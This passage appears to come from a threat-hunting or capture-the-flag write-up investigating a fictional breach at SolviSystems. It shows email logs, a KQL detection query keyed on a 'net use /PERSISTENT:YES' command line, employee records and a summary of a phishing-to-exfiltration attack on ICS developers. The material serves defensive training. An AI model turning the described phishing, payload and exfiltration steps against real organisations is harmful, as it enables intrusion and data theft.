jamie_lee@solvisystems.com 2024-05-27 13:14:31.0000 jamie_lee@solvisystems.com michael_potts@solvisystems.com Urgent Request: DOCKS System Documentation 🚨 CLEAN
alexei_petrov@solvisystems.com 2024-05-27 13:20:16.0000 alexei_petrov@solvisystems.com robert_cano@solvisystems.com Progress on resolving DOCKS ICS vulnerabilities 🔍 CLEAN
alexei_petrov@solvisystems.com 2024-05-27 13:20:16.0000 alexei_petrov@solvisystems.com carol_haycook@solvisystems.com Progress on resolving DOCKS ICS vulnerabilities 🔍 CLEAN
alexei_petrov@solvisystems.com 2024-05-27 13:20:16.0000 alexei_petrov@solvisystems.com ocie_chambers@solvisystems.com Progress on resolving DOCKS ICS vulnerabilities 🔍 CLEAN
alexei_petrov@solvisystems.com 2024-05-27 14:00:59.0000 alexei_petrov@solvisystems.com lerato_naidoo@solvisystems.com Do you know where the DOCKS software documentation is stored? 🤪 CLEAN
alexei_petrov@solvisystems.com 2024-05-27 14:00:59.0000 alexei_petrov@solvisystems.com lerato_naidoo@solvisystems.com Do you know where the DOCKS software documentation is stored? 🤪 CLEAN
alexei_petrov@solvisystems.com 2024-05-27 14:00:59.0000 alexei_petrov@solvisystems.com marcia_biron@solvisystems.com Do you know where the DOCKS software documentation is stored? 🤪 CLEAN
taylor_green@solvisystems.com 2024-05-28 12:10:38.0000 taylor_green@solvisystems.com ocie_chambers@solvisystems.com Progress on resolving DOCKS ICS vulnerabilities 🔍 CLEAN
taylor_green@solvisystems.com 2024-05-28 12:10:38.0000 taylor_green@solvisystems.com robert_cano@solvisystems.com Progress on resolving DOCKS ICS vulnerabilities 🔍 CLEAN
taylor_green@solvisystems.com 2024-05-28 12:10:38.0000 taylor_green@solvisystems.com carol_haycook@solvisystems.com Progress on resolving DOCKS ICS vulnerabilities 🔍 CLEAN
jamie_lee@solvisystems.com 2024-05-28 12:15:10.0000 jamie_lee@solvisystems.com ocie_chambers@solvisystems.com Progress on resolving DOCKS ICS vulnerabilities 🔍 CLEAN
jamie_lee@solvisystems.com 2024-05-28 12:15:10.0000 jamie_lee@solvisystems.com robert_cano@solvisystems.com Progress on resolving DOCKS ICS vulnerabilities 🔍 CLEAN
jamie_lee@solvisystems.com 2024-05-28 12:15:10.0000 jamie_lee@solvisystems.com carol_haycook@solvisystems.com Progress on resolving DOCKS ICS vulnerabilities 🔍 CLEAN
taylor_green@solvisystems.com 2024-05-28 12:22:07.0000 taylor_green@solvisystems.com lissette_upson@solvisystems.com Do you know where the DOCKS software documentation is stored? 🤪 CLEAN
taylor_green@solvisystems.com 2024-05-28 12:22:07.0000 taylor_green@solvisystems.com bernadette_callahan@solvisystems.com Do you know where the DOCKS software documentation is stored? 🤪 CLEAN
taylor_green@solvisystems.com 2024-05-28 12:22:07.0000 taylor_green@solvisystems.com lerato_naidoo@solvisystems.com Do you know where the DOCKS software documentation is stored? 🤪 CLEAN
jamie_lee@solvisystems.com 2024-05-28 12:40:47.0000 jamie_lee@solvisystems.com michael_potts@solvisystems.com Do you know where the DOCKS software documentation is stored? 🤪 CLEAN
jamie_lee@solvisystems.com 2024-05-28 12:40:47.0000 jamie_lee@solvisystems.com sibongile_sithole@solvisystems.com Do you know where the DOCKS software documentation is stored? 🤪 CLEAN
jamie_lee@solvisystems.com 2024-05-28 12:40:47.0000 jamie_lee@solvisystems.com lissette_upson@solvisystems.com Do you know where the DOCKS software documentation is stored? 🤪 CLEAN

Indeed, using all three accounts the threat actors try asking nicely for the DOCKS ICS documentation and about vulnerabilities in the software between May 27th and May 28th, with varying degrees of urgency. Doing a lookup against the Employees table shows that the targets are all related to the development to the DOCKS ICS software, as detailed below:

ProcessEvents
| where process_commandline has "net use /PERSISTENT:YES"
| distinct hostname
| lookup Employees on $left.hostname == $right.hostname
| distinct email_addr
| lookup Email on $left.email_addr == $right.sender
| where timestamp between (datetime(2024-05-27 12:20:05.0000) .. datetime(2024-05-28 12:40:47.0000))
and recipient endswith "solvisystems.com"
| distinct recipient
| lookup Employees on $left.recipient == $right.email_addr
Query Results
recipient hire_date name user_agent ip_addr company_domain username role hostname
marcia_biron@solvisystems.com 2021-09-01 00:00:00.0000 Marcia Biron Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 10.10.0.11 solvisystems.com mabiron Lead Software Engineer XZ61-DESKTOP
robert_cano@solvisystems.com 2021-09-14 00:00:00.0000 Robert Cano Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.185 Safari/537.36 10.10.0.35 solvisystems.com rocano ICS Vulnerability Researcher YOOJ-DESKTOP
carol_haycook@solvisystems.com 2022-01-17 00:00:00.0000 Carol Haycook Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko 10.10.0.39 solvisystems.com cahaycook ICS Vulnerability Researcher FE4H-DESKTOP
lerato_naidoo@solvisystems.com 2023-05-10 00:00:00.0000 Lerato Naidoo Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0 10.10.0.27 solvisystems.com lenaidoo Lead Software Engineer CBAY-MACHINE
bernadette_callahan@solvisystems.com 2023-06-18 00:00:00.0000 Bernadette Callahan Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36 10.10.0.73 solvisystems.com becallahan Lead Software Engineer 5AGL-DESKTOP
sibongile_sithole@solvisystems.com 2023-07-04 00:00:00.0000 Sibongile Sithole Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) 10.10.0.54 solvisystems.com sisithole Lead Software Engineer IUMA-MACHINE
ocie_chambers@solvisystems.com 2023-09-10 00:00:00.0000 Ocie Chambers Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0 10.10.0.31 solvisystems.com occhambers ICS Vulnerability Researcher 8UBH-LAPTOP
lissette_upson@solvisystems.com 2023-11-15 00:00:00.0000 Lissette Upson Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64; Trident/4.0) 10.10.0.76 solvisystems.com liupson Lead Software Engineer BJHK-DESKTOP
michael_potts@solvisystems.com 2024-02-09 00:00:00.0000 Michael Potts Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.110 Safari/537.36 10.10.0.28 solvisystems.com mipotts Lead Software Engineer UE1E-DESKTOP

The targeted roles were vulnerability researchers and lead developers.

In conclusion: after doing some reconnaissance via SolviSystems' web presence, threat actors attempted to access sentitive, proprietary data by using common web exploits against SolviSystems' website; when this failed, they started a phishing campaign against various employees--most low-ranking such as Customer Support and Sales--and crucially managed to convince key staff related to the DOCKS ICS software to download and open malicious documents purpoting to be industry news; the documents dropped a payload that connected to an attacker-controlled server and enabled hands-on-keyboard access, which they exploited to download and exfiltrate proprietary data on the DOCKS ICS software, including details of its development cycle and its known vulnerabilities. They also used the compromised account to extract information off uncompromised employees, especifically DOCKS ICS vulnerability researchers and lead developers.

After this, the threat actors identified themselves in a popular social media website as "Guardians of Adamastor" -- alluded to with the account guard!@n they created on the compromised devices. They claim "big things are going to start happening" and especifically mention our industry partner Eskom (#holdEskomResponsible), which was one of the partners they looked up during the reconnaissance phase of their attack.